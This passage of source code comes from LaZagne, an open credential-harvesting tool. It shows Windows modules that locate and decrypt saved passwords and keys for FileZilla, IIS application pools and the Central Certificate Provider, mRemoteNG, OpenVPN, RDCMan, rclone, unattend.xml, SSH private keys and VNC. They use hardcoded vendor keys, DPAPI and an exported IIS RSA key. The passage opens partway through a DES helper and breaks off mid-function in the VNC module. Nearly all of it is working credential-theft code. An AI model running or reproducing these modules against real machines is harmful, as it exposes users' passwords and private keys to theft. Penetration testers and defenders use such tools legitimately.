0x0f0f0f0f leftt ^= work right ^= (work << 4) leftt &= 0xffffffff right &= 0xffffffff return pack('>II', right, leftt) # test if __name__ == '__main__': import binascii key = binascii.unhexlify('0123456789abcdef') plain = binascii.unhexlify('0123456789abcdef') cipher = binascii.unhexlify('6e09a37726dd560c') ek = deskey(key, False) dk = deskey(key, True) assert desfunc(plain, ek) == cipher assert desfunc(desfunc(plain, ek), dk) == plain assert desfunc(desfunc(plain, dk), ek) == plain print('test succeeded.') ================================================ FILE: Windows/lazagne/softwares/sysadmin/filezilla.py ================================================ # -*- coding: utf-8 -*- import base64 from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant import os class Filezilla(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'filezilla', 'sysadmin') def run(self): path = os.path.join(constant.profile['APPDATA'], u'FileZilla') if os.path.exists(path): pwd_found = [] for file in [u'sitemanager.xml', u'recentservers.xml', u'filezilla.xml']: xml_file = os.path.join(path, file) if os.path.exists(xml_file): tree = ElementTree(file=xml_file) if tree.findall('Servers/Server'): servers = tree.findall('Servers/Server') else: servers = tree.findall('RecentServers/Server') for server in servers: host = server.find('Host') port = server.find('Port') login = server.find('User') password = server.find('Pass') # if all((host, port, login)) does not work if host is not None and port is not None and login is not None: values = { 'Host': host.text, 'Port': port.text, 'Login': login.text, } if password is not None: if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64': values['Password'] = base64.b64decode(password.text) else: values['Password'] = password.text if values: pwd_found.append(values) return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/filezillaserver.py ================================================ # -*- coding: utf-8 -*- from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant import os class FilezillaServer(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'filezillaserver', 'sysadmin') def run(self): path = os.path.join(constant.profile['APPDATA'], u'FileZilla Server') if os.path.exists(path): pwd_found = [] file = u'FileZilla Server Interface.xml' xml_file = os.path.join(path, file) if os.path.exists(xml_file): tree = ElementTree(file=xml_file) root = tree.getroot() host = port = password = None for item in root.iter("Item"): if item.attrib['name'] == 'Last Server Address': host = item.text elif item.attrib['name'] == 'Last Server Port': port = item.text elif item.attrib['name'] == 'Last Server Password': password = item.text # if all((host, port, login)) does not work if host is not None and port is not None and password is not None: pwd_found = [{ 'Host': host, 'Port': port, 'Password': password, }] return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/ftpnavigator.py ================================================ # -*- coding: utf-8 -*- import struct from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant import os class FtpNavigator(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'ftpnavigator', 'sysadmin', system_module=True) def decode(self, encode_password): password = '' for p in encode_password: password += chr(struct.unpack('B', p)[0] ^ 0x19) return password def run(self): path = os.path.join(constant.profile['HOMEDRIVE'], u'\\FTP Navigator', u'Ftplist.txt') elements = {'Name': 'Name', 'Server': 'Host', 'Port': 'Port', 'User': 'Login', 'Password': 'Password'} if os.path.exists(path): pwd_found = [] with open(path, 'r') as f: for ff in f: values = {} info = ff.split(';') for i in info: i = i.split('=') for e in elements: if i[0] == e: if i[0] == "Password" and i[1] != '1' and i[1] != '0': values['Password'] = self.decode(i[1]) else: values[elements[i[0]]] = i[1] # used to save the password if it is an anonymous authentication if values['Login'] == 'anonymous' and 'Password' not in values: values['Password'] = 'anonymous' pwd_found.append(values) return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/iisapppool.py ================================================ import fnmatch import os import subprocess import re import string from lazagne.config.module_info import ModuleInfo class IISAppPool(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, name='iisapppool', category='sysadmin', registry_used=True, winapi_used=True) def find_files(self, path, file): """ Try to find all files with the same name """ founded_files = [] for dirpath, dirnames, files in os.walk(path): for file_name in files: if fnmatch.fnmatch(file_name, file): founded_files.append(dirpath + '\\' + file_name) return founded_files def execute_get_stdout(self, exe_file, arguments): try: proc = subprocess.Popen(exe_file + " " + arguments, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) except: self.debug(u'Error executing {exefile}'.format(exefile=exe_file)) return None return proc.stdout def run(self): pfound = [] exe_files = self.find_files(os.environ['WINDIR'] + '\\System32\\inetsrv', 'appcmd.exe') if len(exe_files) == 0: self.debug(u'File not found appcmd.exe') return self.info(u'appcmd.exe files found: {files}'.format(files=exe_files)) output = self.execute_get_stdout(exe_files[-1], 'list apppool') if output == None: self.debug(u'Problems with Application Pool list') return app_list = [] for line in output.readlines(): app_list.append(re.findall(r'".*"', line)[0].split('"')[1]) for app in app_list: values = {} username = '' password = '' output = self.execute_get_stdout(exe_files[-1], 'list apppool ' + app + ' /text:*') for line in output.readlines(): if re.search(r'userName:".*"', line): username = re.findall(r'userName:".*"', line)[0].split('"')[1] if re.search(r'password:".*"', line): password = re.findall(r'password:".*"', line)[0].split('"')[1] if password != '' : values['AppPool.Name'] = app values['Username'] = username values['Password'] = password pfound.append(values) return pfound ================================================ FILE: Windows/lazagne/softwares/sysadmin/iiscentralcertp.py ================================================ # -*- coding: utf-8 -*- import base64 import fnmatch import os import rsa import string from random import * from xml.dom import minidom try: import _winreg as winreg except ImportError: import winreg from lazagne.config.module_info import ModuleInfo class IISCentralCertP(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, name='iiscentralcertp', category='sysadmin', registry_used=True, winapi_used=True) def find_files(self, path, file): """ Try to find all files with the same name """ founded_files = [] for dirpath, dirnames, files in os.walk(path): for file_name in files: if fnmatch.fnmatch(file_name, file): founded_files.append(dirpath + '\\' + file_name) return founded_files def create_RSAKeyValueFile(self, exe_file, container): tmp_file = "".join(choice(string.ascii_letters + string.digits) for x in range(randint(8, 10))) + ".xml" try: os.system(exe_file + " -px " + container + " " + tmp_file + " -pri > nul") except OSError: self.debug(u'Error executing {container}'.format(container=container)) tmp_file = '' return tmp_file def get_registry_key(self, reg_key, parameter): data = '' try: if reg_key.startswith('HKEY_LOCAL_MACHINE'): hkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_key.replace('HKEY_LOCAL_MACHINE\\', '')) data = winreg.QueryValueEx(hkey, parameter)[0] except Exception as e: self.debug(e) return data def decrypt_hash_b64(self, hash_b64, privkey): hash = bytearray(base64.b64decode(hash_b64)) hash.reverse() hash_b64 = base64.b64encode(hash) hash = base64.b64decode(hash_b64) message = rsa.decrypt(hash, privkey) return message.decode('UTF-16') def GetLong(self, nodelist): rc = [] for node in nodelist: if node.nodeType == node.TEXT_NODE: rc.append(node.data) st = ''.join(rc) raw = base64.b64decode(st) return int(raw.encode('hex'), 16) def read_RSAKeyValue(self, rsa_key_xml): xmlStructure = minidom.parseString(rsa_key_xml) MODULUS = self.GetLong(xmlStructure.getElementsByTagName('Modulus')[0].childNodes) EXPONENT = self.GetLong(xmlStructure.getElementsByTagName('Exponent')[0].childNodes) D = self.GetLong(xmlStructure.getElementsByTagName('D')[0].childNodes) P = self.GetLong(xmlStructure.getElementsByTagName('P')[0].childNodes) Q = self.GetLong(xmlStructure.getElementsByTagName('Q')[0].childNodes) InverseQ = self.GetLong(xmlStructure.getElementsByTagName('InverseQ')[0].childNodes) privkey = rsa.PrivateKey(MODULUS, EXPONENT, D, P, Q) self.debug(u'RSA Key Value - PEM:\n {RSAkey}'.format(RSAkey=privkey.save_pkcs1(format='PEM'))) return privkey def run(self): pfound = [] ccp_enabled = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'Enabled') if ccp_enabled != 1: self.debug(u'IIS CentralCertProvider is not enabled') return exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework64\\', 'aspnet_regiis.exe') if len(exe_files) == 0: exe_files = self.find_files(os.environ['WINDIR'] + '\\Microsoft.NET\\Framework\\', 'aspnet_regiis.exe') if len(exe_files) == 0: self.debug(u'File not found aspnet_regiis.exe') return self.info(u'aspnet_regiis.exe files found: {files}'.format(files=exe_files)) rsa_xml_file = self.create_RSAKeyValueFile(exe_files[-1], "iisWASKey") if rsa_xml_file == '': self.debug(u'Problems extracting RSA Key Value') return with open(rsa_xml_file, 'rb') as File: rsa_key_xml = File.read() os.remove(rsa_xml_file) self.debug(u'Temporary file removed: {filename}'.format(filename=rsa_xml_file)) privkey = self.read_RSAKeyValue(rsa_key_xml) values = {} CertStoreLocation = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'CertStoreLocation') values['CertStoreLocation'] = CertStoreLocation username = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'Username') values['Username'] = username pass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'Password') values['Password'] = self.decrypt_hash_b64(pass64, privkey) privpass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', 'PrivateKeyPassword') values['Private Key Password'] = self.decrypt_hash_b64(privpass64, privkey) pfound.append(values) return pfound ================================================ FILE: Windows/lazagne/softwares/sysadmin/keepassconfig.py ================================================ # -*- coding: utf-8 -*- from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import * import os from xml.etree.ElementTree import parse class KeePassConfig(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'keepassconfig', 'sysadmin') self.attr_to_extract = ["Keyfile", "Database", "Type"] def run(self): """ Main function """ pwd_found = [] #Keepass1 connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass') if os.path.exists(connection_file_directory): connection_file_location = os.path.join(connection_file_directory, u'KeePass.ini') if os.path.isfile(connection_file_location): file_content = open(connection_file_location, 'r').read() #KeeKeySourceID if len(file_content.split("KeeKeySourceID")) > 1: KeeKeySource_number = len(file_content.split("KeeKeySourceID")) - 1 for i in range(0, KeeKeySource_number ): database = file_content.partition("KeeKeySourceID" + str(i) + "=" )[2].partition('\n')[0] database = database.replace('..\\..\\', 'C:\\') keyfile = file_content.partition("KeeKeySourceValue" + str(i) + "=" )[2].partition('\n')[0] pwd_found.append({ 'Keyfile': keyfile, 'Database': database }) #KeeLastDb if file_content.partition("KeeLastDb=")[1] == "KeeLastDb=": database = file_content.partition("KeeLastDb=")[2].partition('\n')[0] database = database.replace('..\\..\\', 'C:\\') already_in_pwd_found = 0 for elmt in pwd_found: if database == elmt['Database']: already_in_pwd_found = 1 if already_in_pwd_found == 0: pwd_found.append({ 'Keyfile': "No keyfile found", 'Database': database }) #Keepass2 connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass') if os.path.exists(connection_file_directory): connection_file_location = os.path.join(connection_file_directory, u'KeePass.config.xml') if os.path.isfile(connection_file_location): try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//Association") for connection_node in connection_nodes: database = connection_node.find('DatabasePath').text.replace('..\\..\\', 'C:\\') type = "" if connection_node.find('Password') is not None: type += "Password - " if connection_node.find('UserAccount') is not None: type += "NTLM - " try: keyfile = connection_node.find('KeyFilePath').text.replace('..\\..\\', 'C:\\') type += "Keyfile - " except: keyfile = "No keyfile found" pwd_found.append({ 'Keyfile': keyfile, 'Database': database, 'Type': type[:-3] }) except: pass try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//LastUsedFile") for connection_node in connection_nodes: database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\') already_in_pwd_found = 0 for elmt in pwd_found: if database == elmt['Database']: already_in_pwd_found = 1 if already_in_pwd_found == 0: pwd_found.append({ 'Keyfile': "No keyfile found", 'Database': database }) except: pass try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//ConnectionInfo") for connection_node in connection_nodes: database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\') already_in_pwd_found = 0 for elmt in pwd_found: if database == elmt['Database']: already_in_pwd_found = 1 if already_in_pwd_found == 0: pwd_found.append({ 'Keyfile': "No keyfile found", 'Database': database }) except: pass return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/mRemoteNG.py ================================================ #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ This module requires LaZagne: https://github.com/AlessandroZ/LaZagne/releases/ Current source: https://github.com/AlessandroZ/LaZagne """ __version__ = "1.0.0" __author__ = "Maurice Lambert" __author_email__ = "mauricelambert434@gmail.com" __source__ = "https://github.com/mauricelambert/mRemoteNGpasswordsStealer" from lazagne.config.write_output import print_debug from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant from Crypto.Util.Padding import unpad from hashlib import pbkdf2_hmac, md5 from xml.dom.minidom import parse from Crypto.Cipher import AES from base64 import b64decode from os.path import join from io import BytesIO from glob import glob class mRemoteNG(ModuleInfo): """ This class searches for and decrypts mRemoteNG passwords. """ def __init__(self): self.files = self.get_configuration_files() self.password = "mR3m" self.success_coutner = 0 self.errors_counter = 0 ModuleInfo.__init__(self, "mRemoteNG", "sysadmin") def gcm_decrypt(self, password): """ This function decrypts GCM passwords. """ password_buffer = BytesIO(password) salt = password_buffer.read(16) nonce = password_buffer.read(16) if not nonce: print_debug( "DEBUG", "Blank password.", ) return "" data_tag = password_buffer.read() data = data_tag[:-16] tag = data_tag[-16:] key = pbkdf2_hmac("sha1", self.password, salt, 1000, dklen=32) cipher = AES.new(key, AES.MODE_GCM, nonce) cipher.update(salt) try: secrets = cipher.decrypt_and_verify(data, tag).decode() except ValueError: self.errors_counter += 1 print_debug( "FAILED", "Decryption failed the master password is probably incorrect.", ) else: print_debug( "DEBUG", "Password decrypted successfully.", ) self.success_coutner += 1 return secrets def cbc_decrypt(self, password): """ This function decrypts CBC passwords. """ iv = password[:16] data = password[16:] cipher = AES.new(self.password, AES.MODE_CBC, iv) return unpad(cipher.decrypt(data), AES.block_size).decode() def decrypt(self, password): """ This function decrypts mRemoteNG passwords. """ password = b64decode(password.encode()) return self._decrypt(password) def run(self, software_name = None): """ This function starts password recovery. """ parser = self.parser return [ credentials for file in self.files for credentials in parser(file) ] def parser(self, filename): """ This function parses the mRemoteNG configuration file. """ event = parse(filename).firstChild if event.nodeName != "mrng:Connections": print_debug("ERROR", "Invalid configuration file.") block_cipher = event.attributes.getNamedItem("BlockCipherMode") if block_cipher is None: print_debug("ERROR", "Invalid configuration file.") ciphername = block_cipher.nodeValue if ciphername != "GCM" and ciphername != "CBC": print_debug("ERROR", "Invalid block cipher mode.") if ciphername == "CBC": self.password = md5(self.password).digest() self._decrypt = self.cbc_decrypt elif ciphername == "GCM": self._decrypt = self.gcm_decrypt self.block_cipher = block_cipher decrypt = self.decrypt for node in event.getElementsByTagName("Node"): username = node.attributes.getNamedItem("Username") hostname = node.attributes.getNamedItem("Hostname") password = node.attributes.getNamedItem("Password") if password is not None: password = decrypt(password.nodeValue) else: password = "" if username is not None: username = username.nodeValue else: username = "" if hostname is not None: hostname = hostname.nodeValue else: hostname = "" yield { "Hostname": hostname, "Username": username, "Password": password, } def get_configuration_files(self): """ This function returns the default mRemoteNG configuration files. """ return glob( join( constant.profile['APPDATA'], "mRemoteNG", "confCons.xml*", ) ) ================================================ FILE: Windows/lazagne/softwares/sysadmin/opensshforwindows.py ================================================ # -*- coding: utf-8 -*- from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant # from Crypto.PublicKey import RSA # from Crypto.PublicKey import DSA import os class OpenSSHForWindows(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'opensshforwindows', 'sysadmin') #self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh') # Retrieve SSH private key even if a passphrase is set (the goal is to remove crypto dependency) # def is_private_key_unprotected(self, key_content_encoded, key_algorithm): # """ # Check if the private key can be loaded without specifying any passphrase. # # PyCrypto >= 2.6.1 required in order to have the method importKey() in DSA class. # # :param key_content_encoded: Encoded content of the private key to test # :param key_algorithm: Algorithm of the key (RSA or DSA) # :return: True only if the key can be successfuly loaded and is usable # """ # state = False # try: # # Try to load it # if key_algorithm == "RSA": # key = RSA.importKey(key_content_encoded) # else: # key = DSA.importKey(key_content_encoded) # # Validate loading # state = (key is not None and key.can_sign() and key.has_private()) # except Exception as e: # self.error(u"Cannot validate key protection '%s'" % e) # state = False # pass # # return state def extract_private_keys_unprotected(self): """ Extract all DSA/RSA private keys that are not protected with a passphrase. :return: List of encoded key (key file content) """ keys = [] if os.path.isdir(self.key_files_location): for (dirpath, dirnames, filenames) in os.walk(self.key_files_location, followlinks=True): for f in filenames: key_file_path = os.path.join(dirpath, f) if os.path.isfile(key_file_path): try: # Read encoded content of the key with open(key_file_path, "r") as key_file: key_content_encoded = key_file.read() # Determine the type of the key (public/private) and what is it algorithm if "DSA PRIVATE KEY" in key_content_encoded: key_algorithm = "DSA" elif "RSA PRIVATE KEY" in key_content_encoded or "OPENSSH PRIVATE KEY" in key_content_encoded: key_algorithm = "RSA" else: key_algorithm = None # Check if the key can be loaded (used) without passphrase # if key_algorithm is not None and self.is_private_key_unprotected(key_content_encoded, # key_algorithm): if key_algorithm: keys.append(key_content_encoded) except Exception as e: self.error(u"Cannot load key file '%s' '%s'" % (key_file_path, e)) pass return keys def run(self): """ Main function """ self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh') # Extract all DSA/RSA private keys that are not protected with a passphrase unprotected_private_keys = self.extract_private_keys_unprotected() # Parse and process the list of keys key_found = [] for key in unprotected_private_keys: values = {"Privatekey": key} key_found.append(values) return key_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/openvpn.py ================================================ try: import _winreg as winreg except ImportError: import winreg from lazagne.config.winstructure import * from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import Win32CryptUnprotectData from lazagne.config.constant import constant import os class OpenVPN(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, name='openvpn', category='sysadmin', registry_used=True, winapi_used=True) def check_openvpn_installed(self): try: key = OpenKey(HKEY_CURRENT_USER, 'Software\\OpenVPN-GUI\\Configs') return key except Exception as e: self.debug(str(e)) return False def decrypt_password(self, encrypted_password, entropy): result_bytes = Win32CryptUnprotectData(encrypted_password, entropy=entropy, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) return result_bytes.decode("utf16") def get_credentials(self, key): pwd_found = [] num_profiles = winreg.QueryInfoKey(key)[0] for n in range(num_profiles): name_skey = winreg.EnumKey(key, n) skey = OpenKey(key, name_skey) values = {'Profile': name_skey} try: encrypted_password = winreg.QueryValueEx(skey, "auth-data")[0] entropy = winreg.QueryValueEx(skey, "entropy")[0][:-1] password = self.decrypt_password(encrypted_password, entropy) values['Password'] = password values['Username'] = winreg.QueryValueEx(skey, "username")[0].decode("utf16") # Try to find out private key password. # It doesn't have to exist. try: encrypted_private_key_password = winreg.QueryValueEx(skey, "key-data")[0] values['PrivateKeyPassword'] = self.decrypt_password(encrypted_private_key_password, entropy) except Exception as e: pass values.update(self.collect_extra_data_for_profile(name_skey)) except Exception as e: self.debug(str(e)) pwd_found.append(values) winreg.CloseKey(skey) winreg.CloseKey(key) return pwd_found @staticmethod def get_vpn_config_file_path(profile_name): possible_openvpn_config_directories = [ 'C:\\Program Files\\OpenVPN\\config', 'C:\\Program Files (x86)\\OpenVPN\\config', os.path.join(constant.profile['USERPROFILE'], 'OpenVPN', "config") ] # It needs to do a recursive search in directories `possible_openvpn_config_directories` to find config file for `profile_name` # I do not want to make this function as a method because I expect this is the only usage of it def search_ovpn_files_in_directory_recursively(directory): try: for item in os.listdir(directory): item_path = os.path.join(directory, item) if os.path.isdir(item_path): yield from search_ovpn_files_in_directory_recursively(item_path) elif os.path.isfile(item_path) and item.endswith(".ovpn"): yield item_path except Exception: pass def search_all_ovpn_files(): for directory in possible_openvpn_config_directories: yield from search_ovpn_files_in_directory_recursively(directory=directory) for some_openvpn_config_file in search_all_ovpn_files(): if os.path.basename(some_openvpn_config_file) == "%s.ovpn" % profile_name: return some_openvpn_config_file def collect_extra_data_for_profile(self, profile_name): result = dict() config_file = self.get_vpn_config_file_path(profile_name) if not config_file: return result with open(config_file, "r") as r: profile_config = r.read() # Config file is multiline. So in purpose to achive more readable result it wrapped around with some prefix and postfix result['Config ((%s))' % config_file] = "-----START_CONFIG_FILE-----\n%s\n-----END_CONFIG_FILE-----" % ( profile_config) # Do a simple config file parse to find out private key for line in profile_config.splitlines(): line = line.strip() if not line: continue try: parameter, value = line.split(maxsplit=1) except Exception: continue # TODO: add more parameters to retrieve if parameter in ["pkcs12", ]: try: with open(value, 'rb') as r: file_content = r.read() # pkcs12_key is binary data. It should to do something to make result more readable except Exception as e: file_content = str(e) result["%s file content (%s)" % (parameter, value)] = file_content return result def run(self): openvpn_key = self.check_openvpn_installed() if openvpn_key: results = self.get_credentials(openvpn_key) if results: return results ================================================ FILE: Windows/lazagne/softwares/sysadmin/puttycm.py ================================================ # -*- coding: utf-8 -*- try: import _winreg as winreg except ImportError: import winreg from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode import os class Puttycm(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True) def run(self): database_path = self.get_default_database() if database_path and os.path.exists(database_path): return self.parse_xml(database_path) def get_default_database(self): try: key = OpenKey(HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager') db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0]) winreg.CloseKey(key) return db except Exception: return False def parse_xml(self, database_path): xml_file = os.path.expanduser(database_path) tree = ElementTree(file=xml_file) root = tree.getroot() pwd_found = [] elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password'] for connection in root.iter('connection'): children = connection.getchildren() values = {} for child in children: for c in child: if str(c.tag) in elements: values[str(c.tag).capitalize()] = str(c.text) if values: pwd_found.append(values) return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/rclone.py ================================================ # -*- coding: utf-8 -*- # This code has been taken from https://github.com/maaaaz/rclonedeobscure # All credits to maaaaz from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant import base64 import json import os try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 from Crypto.Cipher import AES class Rclone(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'rclone', 'sysadmin') # -- https://github.com/rclone/rclone/blob/master/fs/config/obscure/obscure.go self.secret_key = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" def base64_urlsafedecode(self, string): ''' Adds back in the required padding before decoding. https://gist.github.com/cameronmaske/f520903ade824e4c30ab ''' padding = 4 - (len(string) % 4) string = string + ("=" * padding) return base64.urlsafe_b64decode(string) def aes_ctr_decrypt(self, encrypted_password, iv): ''' Do not forget to set an empty nonce https://stackoverflow.com/questions/56217725/openssh-opensshportable-which-key-should-i-extract-from-memory ''' crypter = AES.new(key=self.secret_key, mode=AES.MODE_CTR, initial_value=iv, nonce=b'') decrypted_password = crypter.decrypt(encrypted_password) return decrypted_password.decode('utf-8') def deobscure(self, obscured): encrypted_password = self.base64_urlsafedecode(obscured) buf = encrypted_password[AES.block_size:] iv = encrypted_password[:AES.block_size] return self.aes_ctr_decrypt(buf, iv) def run(self): pwd_found = [] path = os.path.join(constant.profile['APPDATA'], u'rclone', u'rclone.conf') if os.path.exists(path): cp = RawConfigParser() cp.read(path) for section in cp.sections(): values = { "Name": section } for element in cp.options(section): if 'pass' in element.lower(): passwd = self.deobscure(cp.get(section, element)) values[element.replace('pass', 'Password')] = passwd else: values[element.capitalize()] = cp.get(section, element) pwd_found.append(values) return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/rdpmanager.py ================================================ # -*- coding: utf-8 -*- import base64 from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.winstructure import Win32CryptUnprotectData from lazagne.config.constant import constant import os class RDPManager(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True) def decrypt_password(self, encrypted_password): try: decoded = base64.b64decode(encrypted_password) password_decrypted_bytes = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) password_decrypted = password_decrypted_bytes.decode("utf-8") password_decrypted = password_decrypted.replace('\x00', '') except Exception: password_decrypted = encrypted_password.replace('\x00', '') return password_decrypted def format_output_tag(self, tag): tag = tag.lower() if 'username' in tag: tag = 'Login' elif 'hostname' in tag: tag = 'URL' return tag.capitalize() def check_tag_content(self, values, c): if 'password' in c.tag.lower(): values['Password'] = self.decrypt_password(c.text) else: tag = self.format_output_tag(c.tag) values[tag] = c.text return values def parse_element(self, root, element): pwd_found = [] try: for r in root.findall(element): values = {} for child in list(r): if child.tag == 'properties': for c in list(child): values = self.check_tag_content(values, c) elif child.tag == 'logonCredentials': for c in list(child): values = self.check_tag_content(values, c) else: values = self.check_tag_content(values, child) if values: pwd_found.append(values) except Exception as e: self.debug(str(e)) return pwd_found def run(self): settings = [ os.path.join(constant.profile['LOCALAPPDATA'], u'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'), os.path.join(constant.profile['LOCALAPPDATA'], u'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings') ] for setting in settings: if os.path.exists(setting): self.debug(u'Setting file found: {setting}'.format(setting=setting)) tree = ElementTree(file=setting) root = tree.getroot() pwd_found = [] elements = [ 'CredentialsProfiles/credentialsProfiles/credentialsProfile', 'DefaultGroupSettings/defaultSettings/logonCredentials', 'file/server', ] for element in elements: pwd_found += self.parse_element(root, element) try: for r in root.find('FilesToOpen'): if os.path.exists(r.text): self.debug(u'New setting file found: %s' % r.text) pwd_found += self.parse_xml(r.text) except Exception: pass return pwd_found def parse_xml(self, xml_file): import xml.etree.ElementTree as ET tree = ET.parse(xml_file) root = tree.getroot() res = [] for server in root.findall('.//server'): # get the name element host = None username = None password = None hostTag = server.find('properties/name') if hostTag is not None: host = hostTag.text # get the username and password elements usernameTag = server.find('logonCredentials/userName') if usernameTag is not None: username = usernameTag.text passwordTag = server.find('logonCredentials/password') if passwordTag is not None: password = passwordTag.text password = self.decrypt_password(password) # print the results print(f"host: {host}, Username: {username}, Password: {password}") res += [{'URL': host, 'Login': username, 'Password': password}] return res ================================================ FILE: Windows/lazagne/softwares/sysadmin/unattended.py ================================================ # -*- coding: utf-8 -*- import base64 from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import constant from lazagne.config.winstructure import string_to_unicode import os class Unattended(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'unattended', 'sysadmin', system_module=True) # Password should be encoded in b64 def try_b64_decode(self, message): try: return base64.b64decode(message) except Exception: return message def run(self): windir = os.path.join(constant.profile['HOMEDRIVE'], string_to_unicode(os.sep), u'Windows') files = [ 'Panther\\Unattend.xml', 'Panther\\Unattended.xml', 'Panther\\Unattend\\Unattended.xml', 'Panther\\Unattend\\Unattend.xml', 'System32\\Sysprep\\unattend.xml', 'System32\\Sysprep\\Panther\\unattend.xml' ] pwd_found = [] xmlns = '{urn:schemas-microsoft-com:unattend}' for file in files: path = os.path.join(windir, string_to_unicode(file)) if os.path.exists(path): self.debug(u'Unattended file found: %s' % path) tree = ElementTree(file=path) root = tree.getroot() for setting in root.findall('%ssettings' % xmlns): component = setting.find('%scomponent' % xmlns) auto_logon = component.find('%sauto_logon' % xmlns) if auto_logon: username = auto_logon.find('%sUsername' % xmlns) password = auto_logon.find('%sPassword' % xmlns) if all((username, password)): # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*) if 'deleted' not in password.text.lower(): pwd_found.append({ 'Login': username.text, 'Password': self.try_b64_decode(password.text) }) user_accounts = component.find('%suser_accounts' % xmlns) if user_accounts: local_accounts = user_accounts.find('%slocal_accounts' % xmlns) if local_accounts: for local_account in local_accounts.findall('%slocal_account' % xmlns): username = local_account.find('%sName' % xmlns) password = local_account.find('%sPassword' % xmlns) if all((username, password)): if 'deleted' not in password.text.lower(): pwd_found.append({ 'Login': username.text, 'Password': self.try_b64_decode(password.text) }) return pwd_found ================================================ FILE: Windows/lazagne/softwares/sysadmin/vnc.py ================================================ # Code based on vncpasswd.py by trinitronx # https://github.com/trinitronx/vncpasswd.py import binascii import codecs import traceback try: import _winreg as winreg except ImportError: import winreg from . import d3des as d from lazagne.config.winstructure import * from lazagne.config.module_info import ModuleInfo class Vnc(ModuleInfo): def __init__(self): self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7] ModuleInfo.__init__(self, name='vnc', category='sysadmin') def split_len(self, seq, length): return [seq[i:i + length] for i in range(0, len(seq), length)] def do_crypt(self, password, decrypt): passpadd = (password + '\x00' * 8)[:8] strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)]) key = d.deskey(strkey, decrypt) crypted = d.desfunc(passpadd, key) return crypted def unhex(self, s): try: s = codecs.decode(s, 'hex') except TypeError as e: if e.message == 'Odd-length string': self.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1])) s = codecs.decode(s[:-1], 'hex') else: return False return s def reverse_vncpassword(self, hash): encpasswd = self.unhex(hash) pwd = None if encpasswd: # If the hex encoded passwd length is longer than 16 hex chars and divisible # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars) # (1 hex char = 4 binary bits = 1 nibble) hexpasswd = codecs.encode(encpasswd, 'hex') if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0: splitstr = 